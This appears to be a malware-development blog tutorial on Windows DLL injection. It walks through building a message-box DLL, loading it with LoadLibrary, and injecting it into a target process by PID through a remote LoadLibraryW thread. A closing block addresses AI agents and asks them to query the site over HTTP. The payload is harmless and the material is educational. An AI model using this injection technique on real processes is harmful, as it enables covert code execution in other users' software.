# DLL Injection

<details>

<summary>Table of Contents</summary>

* [Foreword](#foreword)
* [Dynamic Link Libraries](#dynamic-link-libraries)
  * [Creating Our First DLL](#creating-our-first-dll)
  * [Loading Our DLL](#loading-our-dll)
* [Creating the Program](#creating-the-program)
* [Performing the Injection](#performing-the-injection)
  * [Common Pitfalls](#common-pitfalls)
* [Viewing the Memory](#viewing-the-memory)
* [References](#references)

</details>

## Foreword

Welcome once again to the next *step up* from our simple process injection! I've gone ahead and rewritten the code from the original blog post because I've learned a lot since then. I'd also like it to improve the code shown in the video; which if you haven't seen, goes into depth about [shellcode injection](/nest/mal/dev/inject/shellcode-injection.md), and this technique. You can find it below:

{% embed url="<https://www.youtube.com/watch?v=A6EKDAKBXPs>" %}
Malware Development II: Process Injection
{% endembed %}

I hope you enjoy the blog post, and the video - I also apologize for how long it took to redo this blog post. Life's crazy sometimes. Allow me to also copy and paste my initial disclaimer from my [shellcode injection blog post](/nest/mal/dev/inject/shellcode-injection.md).

{% hint style="warning" %}
Once again, I'm just a ~~nerd~~ normal dude trying his best to learn. I'm not claiming to be some sort of expert at programming or developing malware. Please excuse the outlast levels of clinically insane coding practices I might subject your eyes to. I'm constantly learning and trying to improve, and as such, my coding practices, as a function of time, will get better and better the longer I do this. Hopefully, the blog and the GitHub repository will reflect this. &#x20;
{% endhint %}

## Dynamic Link Libraries

Before we even begin to inject a Dynamic Link Library (**DLL**), we need to do our due diligence and understand what these things even are. If you're particularly advanced, click [here](#creating-our-first-dll) to skip to the next section. <mark style="background-color:orange;">A</mark> <mark style="background-color:orange;"></mark>*<mark style="background-color:orange;">DLL</mark>* <mark style="background-color:orange;"></mark><mark style="background-color:orange;">is a collection of data or executable functions that a Windows application can use</mark>. DLLs enable several apps to share the same code rather than having each application contain all of the necessary code, one at a time.

DLLs are crucial because they let programmers modularize their work and share similar code among several apps. This can lower the size and complexity of the codebase while also saving time and effort when creating new software. Pretty much any process that you open is going to have *some* DLL that it uses/needs in order to work properly. Let's take `notepad.exe` for example. Seemingly an incredibly *simple* program, right?

<figure><img src="/files/gcBOWv3NHWsUYlkQaXAr" alt=""><figcaption><p><em>Some</em> of the modules loaded by notepad</p></figcaption></figure>

{% hint style="info" %}
The terms "DLL", "Library", and "Modules" are used interchangeably in this blog post and in many others.
{% endhint %}

Even for a seemingly *simple* program like Notepad, the number of modules it loads is a considerable amount. By the way, the tool I'm using to view this is Process Hacker 2:

{% embed url="<https://processhacker.sourceforge.io/downloads.php>" %}
Process Hacker 2 Download
{% endembed %}

With a short little synopsis of DLLs out of the way, let's make our own DLL! If you want to read more about DLLs, what they are, how they work, and why they're important, check out the links below (they'll also be in the "[References](#references)" section):

{% embed url="<https://learn.microsoft.com/en-us/troubleshoot/windows-client/deployment/dynamic-link-library>" %}
"What is a DLL" from [MSDN](https://learn.microsoft.com/en-us/troubleshoot/windows-client/deployment/dynamic-link-library)&#x20;
{% endembed %}

{% embed url="<https://stackoverflow.com/questions/124549/what-exactly-are-dll-files-and-how-do-they-work>" %}
What are DLLs, and how do they work
{% endembed %}

### Creating Our First DLL

If you recall, when we first got started with malware development, more specifically, the prerequisites blog and video located below:

{% embed url="<https://crows-nest.gitbook.io/crows-nest/malware-development/getting-started-with-malware-development>" %}
Fundamentals
{% endembed %}

We had created a *message box* program that when run, would spawn a humble message box like the following:

<figure><img src="/files/BjXxGBTj13GWB3J9briC" alt=""><figcaption><p>Message box program</p></figcaption></figure>

Now, what if we wanted to create a DLL that did *the exact same thing* as this? More specifically, could we create a DLL that just creates a message box as a quick little DLL "hello world"? Of course, we can! It's not that difficult either! There are *some* slight differences but, it's not too bad at all. Firstly, we need to talk about the entry point of a DLL (`DllMain`).

<figure><img src="/files/DbEtay8fIRUOmxTJc7XA" alt=""><figcaption><p><code>DllMain</code> from <a href="https://learn.microsoft.com/en-us/windows/win32/dlls/dllmain">MSDN</a></p></figcaption></figure>

Just as our standard executable applications have a main entry point i.e., [the `main` function](#user-content-fn-1)[^1]. So too, do DLLs. The `DllMain` for all intents and purposes is a standard program's "`main`" entry point equivalent. We need to set this up properly otherwise our DLL isn't going to work. Before making our DLL, let's quickly start dissecting how a DLL works when a process loads one. The documentation itself provides a really great overview of what happens:

<figure><img src="/files/AiEnFks10IbPyHHqa7Vr" alt=""><figcaption><p>Overview of the DLL loading process</p></figcaption></figure>

Whenever a process loads a DLL using the [`LoadLibrary`](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya) and freed using the [`FreeLibrary`](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-freelibrary) function, the entry-point function for a DLL is called; in that entry-point function, there resides a switch-case which will be the "logic" of our DLL. So, if we were to coerce our target process to load our DLL, *our code would be executed automatically*! Let's start developing our message box DLL. Firstly, if you're doing this in Visual Studio, there's a bit of setup required to compile our DLL properly. You can also very easily compile it with a compiler of your choice if you don't want to use Visual Studio/MSVC.

<figure><img src="/files/Uj7wx9y32tiRQyGwpYfL" alt=""><figcaption><p>Project Properties</p></figcaption></figure>

Right-click on the project, and head to `Properties`. Once you get to the new window, you want to change the following settings:

<figure><img src="/files/yc4X8DcvK6JCbaihpUJh" alt=""><figcaption><p>Configuration Type and <code>C++</code> Language Standard</p></figcaption></figure>

We need to set our `Configuration Type` to `Dynamic Library (.dll)` since we're trying to create a DLL. While we're here, we might as well change the `C++` language standard to `C++20` although this is completely optional and won't matter for our DLL. With that done, let's add a source file and make sure to have the file extension set to `.dll`. Once we've added our source file, we can add in the Windows header and start [*codin*](#user-content-fn-2)[^2]':

<figure><img src="/files/bcYxWNanadX3sK2sG0tX" alt=""><figcaption><p>Inital setup</p></figcaption></figure>

We create a `BOOL` type function - but you might notice the presence of the `WINAPI` macro. What is that, you might ask? If we hover over the `WINAPI` macro, we can see that it just expands out to a `__stdcall`:

<figure><img src="/files/cCnHXzg6bIhQNUuJtTSb" alt=""><figcaption><p><code>WINAPI</code> expands to <code>__stdcall</code></p></figcaption></figure>

That's not of much help if you don't already know what "`__stdcall`" is in the first place, so let's quickly go over what that is just so we're all on the same page.

<figure><img src="/files/CFFROaKMkbnWTsOcmieC" alt=""><figcaption><p><code>__stdcall</code> summary from <a href="https://learn.microsoft.com/en-us/cpp/cpp/stdcall?view=msvc-170">MSDN</a></p></figcaption></figure>

{% embed url="<https://learn.microsoft.com/en-us/cpp/cpp/stdcall?view=msvc-170>" %}
`__stdcall` from MSDN
{% endembed %}

As we can see, the `__stdcall` *calling convention* is used to call Win32 API functions. If we want to create/use a function that uses this calling convention, it'll require a function prototype for that aforementioned function. Another cool little thing about this calling convention is that parameters are pushed on the stack in reverse order (right to left):

<figure><img src="/files/3f4F5RRZziLVjH7Jzzwk" alt=""><figcaption><p><code>__stdcall</code> parameter passing</p></figcaption></figure>

You can read more about this and the other keywords down below:

{% embed url="<https://learn.microsoft.com/en-us/cpp/cpp/argument-passing-and-naming-conventions?view=msvc-170>" %}
Read more here
{% endembed %}

&#x20;So, if you see certain functions during your time researching and they're defined like the following:

{% code overflow="wrap" %}

```cpp
// Example of the __stdcall keyword
#define WINAPI __stdcall
// Example of the __stdcall keyword on function pointer
typedef BOOL (__stdcall *funcname_ptr)(void* arg1, const char* arg2, DWORD flags, ...);
```

{% endcode %}

You can lean back, flick your collar, and start smilin' *smugly* because you're now aware of what the `__stdcall` calling convention is, its little quirks, and how different macros like "`WINAPI`" are defined using them. Let's continue developing our DLL.

{% code overflow="wrap" %}

```cpp
#include <Windows.h>

/* you can use the WINAPI macro if you want but since we learned about __stdcall, why not use it :> */
BOOL __stdcall DllMain(HINSTANCE hModule, ...) {

    return TRUE;

}
```

{% endcode %}

The first parameter of this function; "`hinstDLL`" is where we define a handle for the DLL module that we're about to create. <mark style="background-color:orange;">The value of this is the</mark>[ <mark style="background-color:orange;">base address</mark>](https://www.techopedia.com/definition/3746/base-address) <mark style="background-color:orange;">of the DLL</mark>. You might be asking why we'd need to get a handle on modules in the first place. Well, let's take a look at an example that uses a function we'll be using later on, but momentarily shown here; albeit, a bit prematurely:

```cpp
FARPROC GetProcAddress(
  [in] HMODULE hModule,
  [in] LPCSTR  lpProcName
);
```

Ah, yes. The ever-so-popular, [`GetProcAddress`](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress) function. We'll touch upon it more when we get to the "[Creating the Program](#creating-the-program)" section, for now, all you need to know is that this function will retrieve the address of a function within a module. In order for `GetProcAddress` to do that, in order for it to seek the truths of the universe within a library, module, dll, whatever, it needs a handle to that aforementioned library, module, dll, or whatever. So, for situations like this, [handles to modules](#user-content-fn-3)[^3] are necessary.

{% hint style="info" %}
Another thing to note is that the `HINSTANCE` of a DLL is the same as the `HMODULE` of the DLL, so `hModule` in this case, can be used in calls to functions that require a handle to a module. Like we just talked about with `GetProcAddress`.
{% endhint %}

The next parameter, `fdwReason`, is the "reason code that indicates why the DLL entry-point function is being called." Basically, it's a variable that tells us what's happened with the DLL, things like if it got loaded (*attached*) in a process/thread, or unloaded (*detached*) from the process/thread; and based on whatever happens, our DLL can do specific things in correspondence to the `fdwReason`. It can be one of the following values, as shown in the documentation:

<figure><img src="/files/FIDgoaDMj6btnRlQtmvu" alt=""><figcaption><p>Reason codes for DLLs</p></figcaption></figure>

So, with our code updated, we're currently here:

```cpp
#include <Windows.h>

BOOL __stdcall DllMain(HINSTANCE hModule, DWORD dwReason, ...) {

    return TRUE;

}
```

The last parameter, `lpvReserved` is just a reserved parameter that we're required to supply to this function. Sometimes you might see some reserved arguments that need to be supplied to functions, that's perfectly normal and it's just something we have to include. If you're curious as to what they actually do and what it means, you can check the documentation:

<figure><img src="/files/o9XZSHC4xY4jXS5RIh09" alt=""><figcaption><p><code>lpvReserved</code> documentation</p></figcaption></figure>

That brings us to here:

```cpp
#include <Windows.h>

BOOL __stdcall DllMain(HINSTANCE hModule, DWORD dwReason, LPVOID lpvReserved) {

    return TRUE;

}
```

With the `DllMain` entry-point function created, we can start getting to the meat and bones of the DLL; the `switch` cases. Our cases are going to depend entirely on the `dwReason` parameter.

{% hint style="info" %}
The documentation includes all of the reason values, i.e., `DLL_PROCESS_ATTACH`, `DLL_THREAD_ATTACH`, `DLL_THREAD_DETACH`, `DLL_PROCESS_DETACH`, but we don't need to include all of these. We can just include what we're actually interested in.
{% endhint %}

We really only care about the `DLL_PROCESS_ATTACH` reason, however, you can (and should) experiment with the other cases as well; maybe even use them in conjunction with each other. If we look at the documentation for the `DLL_PROCESS_ATTACH` value once again, we can see:

<figure><img src="/files/LGo3cmA3vnChOSqDieZQ" alt=""><figcaption><p><code>DLL_PROCESS_ATTACH</code> reason</p></figcaption></figure>

We can see that this value, `DLL_PROCESS_ATTACH`, will be the value of our `dwReason` if our DLL gets loaded into the VAS[^4] of the process. So, in the case statement for this value, let's put in our "malicious" code, the incredibly dangerous [`MessageBox`](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox) function that we're all familiar with by now:

```cpp
#include <Windows.h>

BOOL __stdcall DllMain(HINSTANCE hModule, DWORD dwReason, LPVOID lpvReserved) {

    switch (dwReason) {

    case DLL_PROCESS_ATTACH:
        MessageBoxW(NULL, L"WHO GOES THERE", L"KAW KAW KAW", MB_ICONEXCLAMATION);
        break;
    }

    return TRUE;

}
```

That's pretty much it! Again, you're encouraged to interact with the other reason codes, but for our purposes, this is enough for now. After compiling, we can test our DLL using a program like [`rundll32`](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32). The syntax of the command is:

```powershell
PS C:\Users\crow> rundll32 your.dll,yourFunction 
```

In this case, we want to run our `DllMain` function, so let's try that and see if we get a message box.

<figure><img src="/files/4NGOsDFLBVsX069rKZzk" alt=""><figcaption><p>It's working!</p></figcaption></figure>

Nice, it's working perfectly! Note that after you press okay, `rundll32` might give you an error, it's perfectly fine, you don't have to worry about it. If this is your first time making a DLL, congratulations! You can find the source code for the DLL we've created down below or in the [GitHub repository](https://github.com/cr-0w/maldev/blob/main/Process%20Injection/DLL%20Injection/crow.dll) for this blog post:

{% file src="/files/n8ZeA3F5SRqrGqMYYpU5" %}
Source code for DLL
{% endfile %}

### Loading Our DLL

We've created our DLL. Let's now discuss the process of loading it from another program. I think it's necessary to figure this out because otherwise, we're just making malware without *understanding* what's going on in the background. If we recall, there were some mentions of the [`LoadLibrary` ](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya)function. This will be the function we use to... well, *load our library.* If we look at the documentation of this function, we'll see the following:

<figure><img src="/files/plGDeQIdJvt9QgZH7Zkb" alt=""><figcaption><p><code>LoadLibrary</code> summary</p></figcaption></figure>

<figure><img src="/files/y3d6cGBuyssbJXTJq8Ov" alt=""><figcaption><p><code>LoadLibrary</code> syntax</p></figcaption></figure>

We see that this function will load a module into the address space of the calling process, and we *know* what happens when a DLL gets loaded by a process, remember? The entry-point function of the said DLL will automatically get run.&#x20;

<figure><img src="/files/8ji5ORkpqT1yCiQcupgw" alt=""><figcaption><p>Automatically runs our DLL</p></figcaption></figure>

`LoadLibrary` is also of the `HMODULE` type because it will return a handle to the module (if it's able to get one). It takes in one (`1`) argument - `lpLibFileName`, that being the name of the library itself.

{% hint style="info" %}
The `lpLibFileName` doesn't just have to be a DLL, you can actually load an executable module (an`.exe` file) as well. However, if you don't supply an extension for this argument, it'll default to a .dll extension.
{% endhint %}

For this argument, we will submit the entire path of our DLL. However, as seen from the documentation, there are other searching methods (and considerations) you can take note of, like specifying a relative path:

<figure><img src="/files/SrvEbK5zpzkWX6Rm6xWU" alt=""><figcaption><p>Specifying the module</p></figcaption></figure>

Also, consider the little note about using backslashes (`\`) when specifying a path and not forward slashes (`/`). With this in mind, let's make another program that'll load our DLL, and once it does, it should run our message box.

```cpp
#include <Windows.h>
#include <stdio.h>

#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define warn(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[i] " msg "\n", ##__VA_ARGS__)

int main(void) {

	HMODULE hCrowDLL = NULL;
	wchar_t dllPath[MAX_PATH] = L"C:\\path\\to\\crow.dll";

	info("trying to get a handle to %S", dllPath);
	
	hCrowDLL = LoadLibraryW(dllPath);

	if (hCrowDLL == NULL) {
		warn("couldn't get a handle to crow.dll, error: 0x%lx", GetLastError());
		return EXIT_FAILURE;
	}

	okay("got a handle to crow.dll!");
	info("---0x%p", hCrowDLL);

	info("freeing the module");
	FreeLibrary(hCrowDLL);
	okay("finished, press <enter> to exit");
	getchar();

	return EXIT_SUCCESS;

}
```

{% hint style="info" %}
The print macros weren't discussed in the videos or the first edition of this article - but I use them all the time now (thanks @[bakki ](https://twitter.com/shubakki)for introducing me to them), and want to introduce you guys to them because they'll be present in all of my future code and they save us a lot of time. The macro, when viewed closely, should be pretty clear to understand, but the [`##__VA_ARGS__`](#user-content-fn-5)[^5] could lead to some confusion. If you're confused about the part of the variadic arguments, check out the link [here](https://gcc.gnu.org/onlinedocs/cpp/Variadic-Macros.html).
{% endhint %}

This program starts off by defining (and initializing) a variable of the `HMODULE` type called `hCrowDLL`. This will hold the base address of our DLL and it's the handle we get on our module. Then, we try to load the library using the `LoadLibraryW` function into the address space of the space.

Since we know that `LoadLibrary` returns `NULL` if it errors out, we can make a quick little check to see if we were able to get a handle on the module or not. If not, we'll print out the [system error codes](https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes--0-499-) given to us by [`GetLastError`](https://learn.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-getlasterror) function. After verifying that we have a valid handle on our module, we can print the address of the module. Finally, we can unload the DLL using the [`FreeLibrary`](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-freelibrary) function:

<figure><img src="/files/eFfw0PW9t9aisAbcT4ro" alt=""><figcaption><p><code>FreeLibrary</code> summary</p></figcaption></figure>

<figure><img src="/files/HWTnNsvETDVRQ97zVTFL" alt=""><figcaption><p><code>FreeLibrary</code> syntax</p></figcaption></figure>

If we compile this program and run it, we can see that the program will *load* our DLL with `LoadLibrary` and a message box will pop up, as planned!

<figure><img src="/files/vRr420CWCBMsgJvRLRIm" alt=""><figcaption><p>Message box loads!</p></figcaption></figure>

It works! The only thing that kind of sucks is that our output will only be shown after we press okay, which is fine, this won't be the case when we inject it. After pressing okay, we can see the following output:

<figure><img src="/files/ZaRHXZFaoGELpDU4eFkw" alt=""><figcaption><p>Expected output</p></figcaption></figure>

Awesome! We now have a much deeper understanding of how all of this loading stuff works, which is going to equip us adequately for the next section. Speaking of which, let's finally begin making our injection program.

## Creating the Program

A lot of the code, aside from the newly covered macros, will be extremely identical to the code from the [shellcode injection blog](/nest/mal/dev/inject/shellcode-injection.md#creating-the-program). I'll program this out, and then we'll cover what's different about this when we get there.

```cpp
#include <Windows.h>
#include <stdio.h>

#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define warn(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[i] " msg "\n", ##__VA_ARGS__)

int main(int argc, char* argv[]) {

	/*------[SETUP SOME VARIABLES]------*/
	DWORD       TID               = NULL;
	DWORD       PID               = NULL;
	LPVOID      rBuffer           = NULL;
	HANDLE      hProcess          = NULL;
	HANDLE      hThread           = NULL;
	HMODULE     hKernel32         = NULL;
	wchar_t     dllPath[MAX_PATH] = L"C:\\path\\to\\crow.dll";
	size_t      pathSize          = sizeof(dllPath);
	size_t      bytesWritten      = 0;

	/*------[GET HANDLE TO PROCESS]------*/
	if (argc < 2) {
		warn("usage: %s <PID>", argv[0]);
		return EXIT_FAILURE;
	}

	PID = atoi(argv[1]);
	info("trying to get a handle to the process (%ld)", PID);
	hProcess = OpenProcess((PROCESS_VM_OPERATION | PROCESS_VM_WRITE), FALSE, PID);

	if (hProcess == NULL) {
		warn("unable to get a handle to the process (%ld), error: 0x%lx", PID, GetLastError());
		return EXIT_FAILURE;
	}

	okay("got a handle to the process!");
	info("\\___[ hProcess\n\t\\_0x%p]\n", hProcess);	

	/*------[GET HANDLE TO KERNEL32]------*/
(snip ...)
	
/* thank you @5pider for introducing me to this nifty lil cleanup! ily <3  */
CLEANUP:

	if (hThread) {
		info("closing handle to thread");
		CloseHandle(hThread);
	}
	
	if (hProcess) {
		info("closing handle to process");
		CloseHandle(hProcess);
	}
	
	okay("finished with house keeping, see you next time!");
	return EXIT_SUCCESS;

}
```

{% hint style="info" %}
You might also be better off using `strlen` or something to get the size of the string as well as adding `+ 1` to account for the null terminator. However, for this example, we don't have to because `VirtualAlloc(Ex)`creates and initializes a zeroed-out memory page, so we're good for now. &#x20;
{% endhint %}

So, we do our usual thing, we declare and initialize some variables that we'll be using in our program. We check to see if the program's been supplied with a `PID`, and if so, we'll try to open a handle to the process for which the `PID` belongs to. After a valid handle has been obtained, we'll print it out. A new thing you might see, from my previous code, is the edition of this `CLEANUP` label. In the eternal quest to make my code better and better, I was made aware of "`goto`" for error handling and simple cleanup by my incredible friend @[5pider](https://twitter.com/C5pider). It'll just make our code easier to manage and provide better readability; especially because we're error-handling pretty much every function that we use. Thanks, homie :heart:

Currently, we're at the "get a handle to `Kernel32`" portion of the program. We've already experimented with getting handles to modules in "[Loading Our DLL](#loading-our-dll)", it's the same idea here except the DLL we're trying to get a handle on is `Kernel32.dll`. Another difference is that we're going to be using the [`GetModuleHandle`](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea) function, which we'll cover in a moment. First, let's talk about why we chose `Kernel32.dll`? Why *this* DLL specifically? Well, if we take a look at an incredible resource like the one below:

{% embed url="<https://www.geoffchappell.com/studies/windows/win32/kernel32/api/index.htm>" %}
`Kernel32` functions, from [Geoff Chappell](https://www.geoffchappell.com/)
{% endembed %}

<figure><img src="/files/SDadNehuJqPRcsSldrk0" alt=""><figcaption><p>Nearly 2,000 <code>Kernel32</code> functions</p></figcaption></figure>

We can see just how many functions there are in this DLL. But, that's not all. If we look for some functions that *we've already been using*, like `CreateRemoteThread`, `OpenProcess`, `VirtualAlloc`, etc., we can see that all of them are in this library:

<figure><img src="/files/Fr00qpuI2VwU4RiL50XB" alt=""><figcaption><p>Common functions present in <code>Kernel32</code></p></figcaption></figure>

The function we're interested in, for the purposes of our DLL Injection, is the `LoadLibrary` function. As expected, it's here as well:

<figure><img src="/files/xgRbcOkI5u2p31p0ogk3" alt=""><figcaption><p><code>LoadLibrary</code> is here, boys!</p></figcaption></figure>

{% hint style="info" %}
If you're actually curious as to what `Kernel32` itself is, not just its contents, then keep reading: `Kernel32` exposes most of the Win32 APIs, like memory management, input/output (I/O) operations, process and thread creation, synchronization functions, etc., to applications. It's an extremely important and core library that many Windows applications use. As we'll see when we touch upon future posts regarding `NTAPI/NTDLL`, when you call a function like `OpenProcess` from `Kernel32.dll`, it will call the corresponding native API function (in this case, `NtOpenProcess`) from `NTDLL.dll`. You can read more about this [here](https://www.thewindowsclub.com/hal-dll-kernel32-dll-user32-dll-files-explained?expand_article=1) and [here](https://en.wikipedia.org/wiki/Microsoft_Windows_library_files).
{% endhint %}

So, if we're able to get a handle to `Kernel32`, we can then use a function like [`GetProcAddress`](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress), to get the address of the `LoadLibrary` function within `Kernel32` so that we can use it for our exploit. Let's continue developing:

```cpp
(snip...)

	/*------[GET HANDLE TO KERNEL32]------*/
	info("getting handle to Kernel32.dll");
	hKernel32 = GetModuleHandleW(...)
	
(snip...)
```

If we take a look at the syntax for the `GetModuleHandleW` function, we'll see that it returns a handle to our specified module. It takes in one (`1`) argument, `lpModuleName`, which is just the name of the module we want to get a handle on:

<figure><img src="/files/9XdtZPZjcUeqQQmfjMIy" alt=""><figcaption><p><code>GetModuleHandle</code> syntax from <a href="https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea">MSDN</a></p></figcaption></figure>

Let's supply in the name of the module, `Kernel32` to this function, and then check to see if a valid handle to the module has been returned or not. If it has, we'll print out the value of the handle (which is just going to be the base address of the `Kernel32` DLL).

```cpp
(snip...)

	/*------[GET HANDLE TO KERNEL32]------*/
	info("getting handle to Kernel32.dll");
	hKernel32 = GetModuleHandleW(L"kernel32");

	if (hKernel32 == NULL) {
		warn("failed to get a handle to Kernel32.dll, error: 0x%lx", GetLastError());
		return EXIT_FAILURE;
	}

	okay("got a handle to Kernel32.dll");
	info("\\___[ hKernel32\n\t\\_0x%p]\n", hKernel32);

(snip...)
```

Nice, if all goes going to plan, we can extract out addresses of functions from within this library! How could we do that, you might ask? With the use of the *aptly-named* [`GetProcAddress`](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress) functio&#x6E;*.*

<figure><img src="/files/Y2wWYEwpzP1oLSl8VPfZ" alt=""><figcaption><p><code>GetProcAddress</code> syntax from <a href="https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress">MSDN</a></p></figcaption></figure>

This function will get the address of an exported function (also known as a procedure) or variable from the specified DLL. The first parameter, `hModule`, is the handle to the module of the DLL that we'd like to get the function address from, in this case, it's the handle to `Kernel32` which we've got tucked away within our `hKernel32` variable:

```cpp
(snip ...)

	/*------[GET ADDR OF LOADLIBRARY]------*/
	info("getting address of LoadLibraryW()");
	GetProcAddress(hKernel32, ...);
	
(snip ...)
```

The next parameter is the procedure name that we wish to get the address of, we want `LoadLibraryW` from `Kernel32`, so, let's supply that.

```cpp
(snip ...)

	/*------[GET ADDR OF LOADLIBRARY]------*/
	info("getting address of LoadLibraryW()");
	GetProcAddress(hKernel32, L"LoadLibraryW");
	
(snip ...)
```

Now, this function still isn't complete. We've touched upon this in the shellcode injection blog, specifically, in the "[Creating a Thread](https://crows-nest.gitbook.io/crows-nest/malware-development/process-injection/shellcode-injection#creating-a-thread)" section but, we need to typecast this to `LPTHREAD_START_ROUTINE` because we want the address of the function returned to be the starting point for the thread that we're going to eventually create. So, let's set that up right now:

```cpp
(snip ...)

	/*------[GET ADDR OF LOADLIBRARY]------*/
	info("getting address of LoadLibraryW()");
	LPTHREAD_START_ROUTINE kawLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryW");
	okay("got address of LoadLibraryW()");
	info("\\___[ LoadLibraryW\n\t\\_0x%p]\n", kawLoadLibrary);

(snip ...)
```

I won't cover it much more here since you should know this from the previous blog post. If you don't, you can head over here to read more about it:

{% embed url="<https://crows-nest.gitbook.io/crows-nest/malware-development/process-injection/shellcode-injection#creating-a-thread>" %}
Shellcode Injection, covers the `LPTHREAD_START_ROUTINE`
{% endembed %}

The rest of the code is going to be pretty much the same as the one from the blog post above. You can find the finished code embedded below or in the [GitHub repository](https://github.com/cr-0w/maldev/tree/main/Process%20Injection/DLL%20Injection) for this entire series:

{% file src="/files/88wPa77SOtGDaTEboHPw" %}
Finished source code for DLL injection
{% endfile %}

## Performing the Injection

After finally compiling our program, we can now test it out by injecting it against a target process.

<figure><img src="/files/RiasAIKeAQjbRQr0I7R4" alt=""><figcaption><p>DLL injected into target process (mspaint)</p></figcaption></figure>

Incredible! It loads our DLL and we can see our payload gets executed! Another thing you'll note is that after we press on `OK`, the thread finishes and our program exits, all thanks to the [`WaitForSingleObject` ](https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject)function!

<figure><img src="/files/rejci266pLAz2xC4KCj7" alt=""><figcaption><p>Finished executing!</p></figcaption></figure>

Awesome! We've finally injected a DLL into our target process. Let's cover some common pitfalls and caveats to injecting our DLLs in this way.

### Common Pitfalls

One thing you'll notice is that if you try to inject the same process multiple times, your DLL won't be loaded again after the first time. An incredible blog post by Brad Antoniewicz mentions this:

> *"... Another slightly annoying caveat is that if a DLL has already been loaded once with `LoadLibraryA()`, it will not execute it. You can work around this issue but it's more code."* - Brad Antoniewicz, [Open Security Research Blog](http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html)

## Viewing the Memory

Let's appreciate all the `1337pwning` we've been doing so far. However, it would also be nice to look at what's happening in the process memory when we exploit our target process. We'll see a lot of cool information here. After injecting into our target `mspaint` process, we can view all the modules that the process has loaded; like we did with the Notepad example a while ago. In the `Modules` tab:

<figure><img src="/files/ClY2wtahN095ynSbDHIV" alt=""><figcaption><p><code>crow.dll</code> loaded into process modules</p></figcaption></figure>

Furthermore, if we look at the `Memory` tab, we can see all the references to our DLL here:

<figure><img src="/files/vQFdLwa0hsvfViGlzVHJ" alt=""><figcaption><p><code>crow.dll</code> in memory tab</p></figcaption></figure>

Another thing we can do is click on the `Strings` tab and filter (`contains (case-insensitive)`), and look for the `lpText` and `lpThread` parameters of our `MessageBoxW` function. What we'll find, is really cool:

<figure><img src="/files/XouGTse9Mo6lVL0rC5Aa" alt=""><figcaption><p>Contents of our message box arguments in process memory</p></figcaption></figure>

If we go back to the `Module` tab, and double-click on our DLL, we can see some telling information about the library itself:

<figure><img src="/files/Ztxm9tX5Zi2xo8VniqEi" alt=""><figcaption><p>General info about our DLL</p></figcaption></figure>

From here, we can see some things like the fact that it's `UNVERIFIED`, how it has `High entropy`, as well as some other information about the different sections of this DLL. In the `Imports` section of this new window, we can also see the presence of a bunch of functions, including our `MessageBoxW` "payload":

<figure><img src="/files/JpBKduQcDj4VrBZgvyAx" alt=""><figcaption><p><code>MessageBoxW</code> import</p></figcaption></figure>

## References

{% embed url="<https://stackoverflow.com/questions/124549/what-exactly-are-dll-files-and-how-do-they-work>" %}

{% embed url="<https://learn.microsoft.com/en-us/troubleshoot/windows-client/deployment/dynamic-link-library>" %}

{% embed url="<http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html>" %}

{% embed url="<https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection>" %}

{% embed url="<https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html>" %}

[^1]: Of course with standard programs, we can manually specify our own entry points in many different ways.

[^2]: :sunglasses:

[^3]: Spoiler alert, just as handles to threads, and processes are created with the `HANDLE` type, modules are very similar except they use the `HMODULE` data type.

[^4]: Virtual Address Space

[^5]: or you could also use `__VA_OPT__` if you're using `C++20`.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.crow.rip/nest/mal/dev/inject/dll-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
